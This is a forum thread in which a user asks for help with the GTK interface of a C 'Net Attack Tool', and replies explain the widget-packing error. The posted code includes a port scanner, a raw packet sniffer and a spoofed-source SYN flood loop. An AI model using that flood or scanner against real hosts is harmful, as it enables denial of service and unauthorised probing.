ProgrammingThis forum is for all programming questions.
The question does not have to be directly related to Linux and any language is fair game.
Notices
Welcome to LinuxQuestions.org, a friendly and active Linux Community.
You are currently viewing LQ as a guest. By joining our community you will have the ability to post topics, receive our newsletter, use the advanced search, subscribe to threads and access many other special features. Registration is quick, simple and absolutely free. Join our community today!
Note that registered members see fewer ads, and ContentLink is completely disabled once you log in.
If you have any problems with the registration process or your account login, please contact us. If you need to reset your password, click here.
Having a problem logging in? Please visit this page to clear all LQ-related cookies.
Get a virtual cloud desktop with the Linux distro that you want in less than five minutes with Shells! With over 10 pre-installed distros to choose from, the worry-free installation life is here! Whether you are a digital nomad or just looking for flexibility, Shells can put your Linux machine on the device that you want to use.
Exclusive for LQ members, get up to 45% off per month. Click here for more info.
I have this interface for a scanning software I'm devising... which doesn't work properly... it should have 2 tabs (which are shown when compiled) and two buttons for scanning and sniffing which are not shown.. any can help???
Code:
#include "stdio.h"
#include "netinet/ip.h"
#include "sys/socket.h"
#include "sys/types.h"
#include "errno.h"
#include "netinet/in.h"
#include "netinet/tcp.h"
#include "stdlib.h"
#include "unistd.h"
#include "signal.h"
#include "netdb.h"
#include "arpa/inet.h"
#define PORT 80
#define IP_SIZE sizeof(struct iphdr)
#define IP_TCP_SIZE sizeof(struct iphdr)+sizeof(struct tcphdr)
#define BIG 1024
#define MORE_BIG 4096
#define MAX_PORTS 65535
#include <gtk/gtk.h>
typedef unsigned short int u_16;
void sniff()
{
int sockfd;
struct Packet
{
struct iphdr iph;
struct tcphdr tcph;
} pkt;
struct sockaddr_in serv;
struct in_addr addr;
if((sockfd=socket(AF_INET,SOCK_RAW,0x06))==-1)
{
perror("socket");
exit(1);
}
int sz=sizeof(struct sockaddr_in);
for(;;)
{
if(recvfrom(sockfd,&pkt,sizeof(pkt),0,(struct sockaddr*)&serv,&sz)==-1)
{
perror("recvfrom");
exit(1);
}
printf("-=-=-Packet Captured-=-=-\n");
addr.s_addr=pkt.iph.saddr;
printf("Source IP:%s\n",inet_ntoa(addr));
addr.s_addr=pkt.iph.daddr;
printf("Destination IP:%s\n",inet_ntoa(addr));
printf("Source Port:%d\n",ntohs(pkt.tcph.source));
printf("Destination Port:%d\n",ntohs(pkt.tcph.dest));
printf("TTL:%d\n",pkt.iph.ttl);
printf("Packet Length:%d\n",pkt.iph.tot_len);
printf("sequence:%d\n",ntohl(pkt.tcph.seq));
printf("fin:%d\n",pkt.tcph.fin);
printf("syn:%d\n",pkt.tcph.syn);
printf("------------------------------------\n");
}
}
char *
resolver(char *host_ip)
{
struct in_addr ip;
char* charip;
if( (ip.s_addr = inet_addr(host_ip) )==-1)
{
struct hostent *h;
if( (h=gethostbyname(host_ip) ) == NULL)
{
perror("gethostbyname");
exit(-1);
}
charip=(char *)inet_ntoa(*((struct in_addr*)h->h_addr));
return charip;
exit(1);
}
return host_ip;
}
u_16 cksum(u_16 *addr,int len)
{
register int sum=0;
u_short answer=0;
register u_short *w=addr;
register int nleft=len;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(u_char*)&answer=*(u_char*)w;
sum+=answer;
}
sum=(sum>>16)+(sum & 0xffff);
sum+=(sum>>16);
answer=~sum;
return answer;
}
void
scan_ports(char *target)
{
struct sockaddr_in sin;
struct servent *serv;
int sockfd,i,status;
for(i=0;i<MAX_PORTS;i++)
{
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
perror("socket");
exit(1);
}
sin.sin_addr.s_addr=inet_addr(target);
sin.sin_family=AF_INET;
bzero(&(sin.sin_zero),8);
sin.sin_port=htons(i);
status=(connect(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr))==0);
if(status==1)
{
serv=getservbyport(sin.sin_port,"tcp");
if(serv==NULL)
{
perror("getservbyport");
break;
}
printf("port open:%d [ %s ]\n",i,serv->s_name);
}
close(sockfd);
}
}
void
rawsyn(char *target){
int sockfd,optval;
char load[IP_TCP_SIZE];
struct sockaddr_in sin;
struct iphdr *iph=(struct iphdr*)load;
struct tcphdr *tcph=(struct tcphdr*)load+IP_SIZE;
if((sockfd=socket(AF_INET,SOCK_RAW,0x06))==-1)
{
perror("socket");
exit(1);
}
iph->ihl=5;
iph->version=4;
iph->tos=0;
iph->tot_len=IP_TCP_SIZE;
iph->id=htonl(31337);
iph->ttl=255;
iph->protocol=0x06;
iph->check=0;
iph->saddr=inet_addr("11.12.13.14"); /*strange ip ;) 5p00f3d */
iph->daddr=inet_addr(target);
tcph->source=htons(rand()%65535);
tcph->dest=htons(rand()%65535);
tcph->seq=random();
tcph->ack_seq=0;
tcph->doff=0;
tcph->syn=1;
tcph->window=htonl(65535);
tcph->check=0;
tcph->urg_ptr=0;
iph->check=cksum((u_16 *)load,IP_TCP_SIZE);
tcph->check=cksum((u_16 *)load,IP_TCP_SIZE);
sin.sin_addr.s_addr=iph->daddr;
sin.sin_family=AF_INET;
sin.sin_port=tcph->source;
if(setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&optval,sizeof(int))==-1)
{
perror("setsockopt");
exit(1);
}
while(1)
{
if(sendto(sockfd,load,IP_TCP_SIZE,0,(struct sockaddr*)&sin,sizeof(sin))==-1)
{
perror("sendto");
exit(-1);
}
else
printf("-> ");
}
}
void getRequests(char *target)
{
int sockfd;
struct sockaddr_in sin;
char *x,y[BIG],z[MORE_BIG];
int len;
pid_t pid;
if((pid=fork())<0)
{
perror("fork");
exit(1);
}
else if(pid>0)
{
exit(1);
}
else if(pid==0)
{
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
perror("socket");
exit(1);
}
sin.sin_addr.s_addr=inet_addr(target);
sin.sin_port=htons(PORT);
sin.sin_family=AF_INET;
bzero(&(sin.sin_zero),8);
if(connect(sockfd,(struct sockaddr*)&sin,sizeof(struct sockaddr))==-1)
{
fprintf(stdout,"connection out...\n");
exit(1);
}
x="GET / HTTP/1.1\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*\r\nAccept-Language: en-us\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: %s\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive";
len = strlen(x);
snprintf(y,len,x);
if(send(sockfd,y,len,0)==-1)
{
perror("send");
exit(1);
}
if(recv(sockfd,z,MORE_BIG,0)==-1)
{
perror("recv");
exit(1);
}
}
}
/* Our new improved callback. The data passed to this function
* is printed to stdout. */
void callback1( GtkWidget *widget,
gpointer data )
{
g_print ("scanning...\n");
scan_ports("192.168.0.1");
}
void callback2( GtkWidget *widget,
gpointer data )
{
printf("Capturing network traffic...\n");
printf("warning: You might need to be root to do this\n");
sniff();
}
/* another callback */
gint delete_event( GtkWidget *widget,
GdkEvent *event,
gpointer data )
{
gtk_main_quit ();
return FALSE;
}
int main( int argc,
char *argv[] )
{
/* GtkWidget is the storage type for widgets */
GtkWidget *window;
GtkWidget *button;
GtkWidget *box1;
GtkWidget *table;
GtkWidget *notebook;
GtkWidget *frame;
GtkWidget *label;
char bufferf[32];
char bufferl[32];
/* This is called in all GTK applications. Arguments are parsed
* from the command line and are returned to the application. */
gtk_init (&argc, &argv);
/* Create a new window */
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
/* This is a new call, which just sets the title of our
* new window */
gtk_window_set_title (GTK_WINDOW (window), "Net Attack Tool http://rinonapo.atspace.com");
gtk_window_set_default_size (GTK_WINDOW (window), 440, 420);
/* Here we just set a handler for delete_event that immediately
* exits GTK. */
g_signal_connect (G_OBJECT (window), "delete_event",
G_CALLBACK (delete_event), NULL);
/* Sets the border width of the window. */
gtk_container_set_border_width (GTK_CONTAINER (window), 140);
table = gtk_table_new (3, 6, FALSE);
gtk_container_add (GTK_CONTAINER (window), table);
/* We create a box to pack widgets into. This is described in detail
* in the "packing" section. The box is not really visible, it
* is just used as a tool to arrange widgets. */
box1 = gtk_hbox_new (FALSE, 0);
/* Put the box into the main window. */
gtk_container_add (GTK_CONTAINER (window), box1);
//TABS
/* Create a new notebook, place the position of the tabs */
notebook = gtk_notebook_new ();
gtk_notebook_set_tab_pos (GTK_NOTEBOOK (notebook), GTK_POS_TOP);
gtk_table_attach_defaults (GTK_TABLE (table), notebook, 0, 6, 0, 1);
gtk_widget_show (notebook);
/* Let's append a bunch of pages to the notebook */
sprintf(bufferf, "Append Frame %d", 1);
sprintf(bufferl, "Tool %d", 1);
frame = gtk_frame_new (bufferf);
gtk_container_set_border_width (GTK_CONTAINER (frame), 10);
gtk_widget_set_size_request (frame, 500, 100);
gtk_widget_show (frame);
label = gtk_label_new (bufferf);
gtk_container_add (GTK_CONTAINER (frame), label);
gtk_widget_show (label);
label = gtk_label_new (bufferl);
gtk_notebook_append_page (GTK_NOTEBOOK (notebook), frame, label);
/* Now finally let's prepend pages to the notebook */
{
sprintf (bufferf, "rinonapo nettools");
sprintf (bufferl, "Start %d", 1);
frame = gtk_frame_new (bufferf);
gtk_container_set_border_width (GTK_CONTAINER (frame), 10);
gtk_widget_set_size_request (frame, 500, 100);
gtk_widget_show (frame);
label = gtk_label_new (bufferf);
gtk_container_add (GTK_CONTAINER (frame), label);
gtk_widget_show (label);
label = gtk_label_new (bufferl);
gtk_notebook_prepend_page (GTK_NOTEBOOK (notebook), frame, label);
}
/* Create a bunch of buttons */
button = gtk_button_new_with_label ("close");
g_signal_connect_swapped (G_OBJECT (button), "clicked",
G_CALLBACK (delete_event), NULL);
gtk_table_attach_defaults (GTK_TABLE (table), button, 0, 1, 1, 2);
gtk_widget_show (button);
button = gtk_button_new_with_label ("prev tool");
g_signal_connect_swapped (G_OBJECT (button), "clicked",
G_CALLBACK (gtk_notebook_prev_page),
G_OBJECT (notebook));
gtk_table_attach_defaults (GTK_TABLE (table), button, 2, 3, 1, 2);
gtk_widget_show (button);
button = gtk_button_new_with_label ("next tool");
g_signal_connect_swapped (G_OBJECT (button), "clicked",
G_CALLBACK (gtk_notebook_next_page),
G_OBJECT (notebook));
gtk_table_attach_defaults (GTK_TABLE (table), button, 1, 2, 1, 2);
//BUTTON 1
/* Creates a new button with the label */
button = gtk_button_new_with_label ("scan host");
/* Now when the button is clicked, we call the "callback" function
* with a pointer to "button 1" as its argument */
g_signal_connect (G_OBJECT (button), "clicked",
G_CALLBACK (callback1), (gpointer) "function 1");
/* Instead of gtk_container_add, we pack this button into the invisible
* box, which has been packed into the window. */
gtk_box_pack_start (GTK_BOX(box1), button, TRUE, TRUE, 0);
/* Always remember this step, this tells GTK that our preparation for
* this button is complete, and it can now be displayed. */
gtk_widget_show (button);
//BUTTON 2
/* Do these same steps again to create a second button */
button = gtk_button_new_with_label ("Sniffer");
/* Call the same callback function with a different argument,
* passing a pointer to "button 2" instead. */
g_signal_connect (G_OBJECT (button), "clicked",
G_CALLBACK (callback2), (gpointer) "function 2");
gtk_box_pack_start(GTK_BOX (box1), button, TRUE, TRUE, 0);
/* The order in which we show the buttons is not really important, but I
* recommend showing the window last, so it all pops up at once. */
gtk_widget_show (button);
gtk_widget_show (box1);
gtk_widget_show (table);
gtk_widget_show (window);
/* Rest in gtk_main and wait for the fun to begin! */
gtk_main ();
return 0;
}
you really shouldn't quote headers, du <stdio.h> or <stdio> notation instead, much safer.
as for what's wrong.. no idea as i'm not prepared to sift through all that code, but change the gtk_widget_show()'s to a single gtk_widget_showall(GtkWindow *) instead, and it may well appear
please also note that gtk is an obselete library, you should not be learning it now, use gtk2 instead.
Actually I'm using Gtk2.. and the quotes are used as standard in all gtk2 code... just copied it from the examples so it should be fine...
For what regards the code you don't need to sift through all the code, I left it all just to make it compile properly... you should skip all the functions and check only the main() which really contains the graphical interface
/* Our new improved callback. The data passed to this function
* is printed to stdout. */
void callback1( GtkWidget *widget,
gpointer data )
{
g_print ("scanning...\n");
scan_ports("192.168.0.1");
}
void callback2( GtkWidget *widget,
gpointer data )
{
printf("Capturing network traffic...\n");
printf("warning: You might need to be root to do this\n");
sniff();
}
/* another callback */
gint delete_event( GtkWidget *widget,
GdkEvent *event,
gpointer data )
{
gtk_main_quit ();
return FALSE;
}
int main( int argc,
char *argv[] )
{
/* GtkWidget is the storage type for widgets */
GtkWidget *window;
GtkWidget *button;
GtkWidget *box1;
GtkWidget *table;
GtkWidget *notebook;
GtkWidget *frame;
GtkWidget *label;
char bufferf[32];
char bufferl[32];
/* This is called in all GTK applications. Arguments are parsed
* from the command line and are returned to the application. */
gtk_init (&argc, &argv);
/* Create a new window */
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
/* This is a new call, which just sets the title of our
* new window */
gtk_window_set_title (GTK_WINDOW (window), "Net Attack Tool http://rinonapo.atspace.com");
gtk_window_set_default_size (GTK_WINDOW (window), 440, 420);
/* Here we just set a handler for delete_event that immediately
* exits GTK. */
g_signal_connect (G_OBJECT (window), "delete_event",
G_CALLBACK (delete_event), NULL);
/* Sets the border width of the window. */
gtk_container_set_border_width (GTK_CONTAINER (window), 140);
table = gtk_table_new (3, 6, FALSE);
gtk_container_add (GTK_CONTAINER (window), table);
/* We create a box to pack widgets into. This is described in detail
* in the "packing" section. The box is not really visible, it
* is just used as a tool to arrange widgets. */
box1 = gtk_hbox_new (FALSE, 0);
/* Put the box into the main window. */
gtk_container_add (GTK_CONTAINER (window), box1);
//TABS
/* Create a new notebook, place the position of the tabs */
notebook = gtk_notebook_new ();
gtk_notebook_set_tab_pos (GTK_NOTEBOOK (notebook), GTK_POS_TOP);
gtk_table_attach_defaults (GTK_TABLE (table), notebook, 0, 6, 0, 1);
gtk_widget_show (notebook);
/* Let's append a bunch of pages to the notebook */
sprintf(bufferf, "Append Frame %d", 1);
sprintf(bufferl, "Tool %d", 1);
frame = gtk_frame_new (bufferf);
gtk_container_set_border_width (GTK_CONTAINER (frame), 10);
gtk_widget_set_size_request (frame, 500, 100);
gtk_widget_show (frame);
label = gtk_label_new (bufferf);
gtk_container_add (GTK_CONTAINER (frame), label);
gtk_widget_show (label);
label = gtk_label_new (bufferl);
gtk_notebook_append_page (GTK_NOTEBOOK (notebook), frame, label);
/* Now finally let's prepend pages to the notebook */
{
sprintf (bufferf, "rinonapo nettools");
sprintf (bufferl, "Start %d", 1);
frame = gtk_frame_new (bufferf);
gtk_container_set_border_width (GTK_CONTAINER (frame), 10);
gtk_widget_set_size_request (frame, 500, 100);
gtk_widget_show (frame);
label = gtk_label_new (bufferf);
gtk_container_add (GTK_CONTAINER (frame), label);
gtk_widget_show (label);
label = gtk_label_new (bufferl);
gtk_notebook_prepend_page (GTK_NOTEBOOK (notebook), frame, label);
}
/* Create a bunch of buttons */
button = gtk_button_new_with_label ("close");
g_signal_connect_swapped (G_OBJECT (button), "clicked",
G_CALLBACK (delete_event), NULL);
gtk_table_attach_defaults (GTK_TABLE (table), button, 0, 1, 1, 2);
gtk_widget_show (button);
button = gtk_button_new_with_label ("prev tool");
g_signal_connect_swapped (G_OBJECT (button), "clicked",
G_CALLBACK (gtk_notebook_prev_page),
G_OBJECT (notebook));
gtk_table_attach_defaults (GTK_TABLE (table), button, 2, 3, 1, 2);
gtk_widget_show (button);
button = gtk_button_new_with_label ("next tool");
g_signal_connect_swapped (G_OBJECT (button), "clicked",
G_CALLBACK (gtk_notebook_next_page),
G_OBJECT (notebook));
gtk_table_attach_defaults (GTK_TABLE (table), button, 1, 2, 1, 2);
//BUTTON 1
/* Creates a new button with the label */
button = gtk_button_new_with_label ("scan host");
/* Now when the button is clicked, we call the "callback" function
* with a pointer to "button 1" as its argument */
g_signal_connect (G_OBJECT (button), "clicked",
G_CALLBACK (callback1), (gpointer) "function 1");
/* Instead of gtk_container_add, we pack this button into the invisible
* box, which has been packed into the window. */
gtk_box_pack_start (GTK_BOX(box1), button, TRUE, TRUE, 0);
/* Always remember this step, this tells GTK that our preparation for
* this button is complete, and it can now be displayed. */
gtk_widget_show (button);
//BUTTON 2
/* Do these same steps again to create a second button */
button = gtk_button_new_with_label ("Sniffer");
/* Call the same callback function with a different argument,
* passing a pointer to "button 2" instead. */
g_signal_connect (G_OBJECT (button), "clicked",
G_CALLBACK (callback2), (gpointer) "function 2");
gtk_box_pack_start(GTK_BOX (box1), button, TRUE, TRUE, 0);
/* The order in which we show the buttons is not really important, but I
* recommend showing the window last, so it all pops up at once. */
gtk_widget_show (button);
gtk_widget_show (box1);
gtk_widget_show (table);
gtk_widget_show (window);
/* Rest in gtk_main and wait for the fun to begin! */
gtk_main ();
return 0;
}
and the quotes are used as standard in all gtk2 code... just copied it from the examples so it should be fine...
#include <stdio.h> includes a system header from /usr/include
#include "foo.h" includes a local header from the current working directory
gcc seems to find the system headers even if you use quotes, but that is non-standard and may not work with other compilers.
Quote:
but change the gtk_widget_show()'s to a single gtk_widget_showall(GtkWindow *) instead, and it may well appear
It is gtk_widget_show_all(), with an underscore between "show" and "all". Using it is a good idea, because it makes the code shorter and avoids stupid "forgot gtk_widget_show()" errors when you add new widgets to the GUI.
Code:
table = gtk_table_new (3, 6, FALSE);
gtk_container_add (GTK_CONTAINER (window), table);
/* We create a box to pack widgets into. This is described in detail
* in the "packing" section. The box is not really visible, it
* is just used as a tool to arrange widgets. */
box1 = gtk_hbox_new (FALSE, 0);
/* Put the box into the main window. */
gtk_container_add (GTK_CONTAINER (window), box1);
The problem is here. You are adding two widgets into a GtkWindow, which can only contain one. You need to pack them into another box and add that to the window.
LinuxQuestions.org is looking for people interested in writing
Editorials, Articles, Reviews, and more. If you'd like to contribute
content, let us know.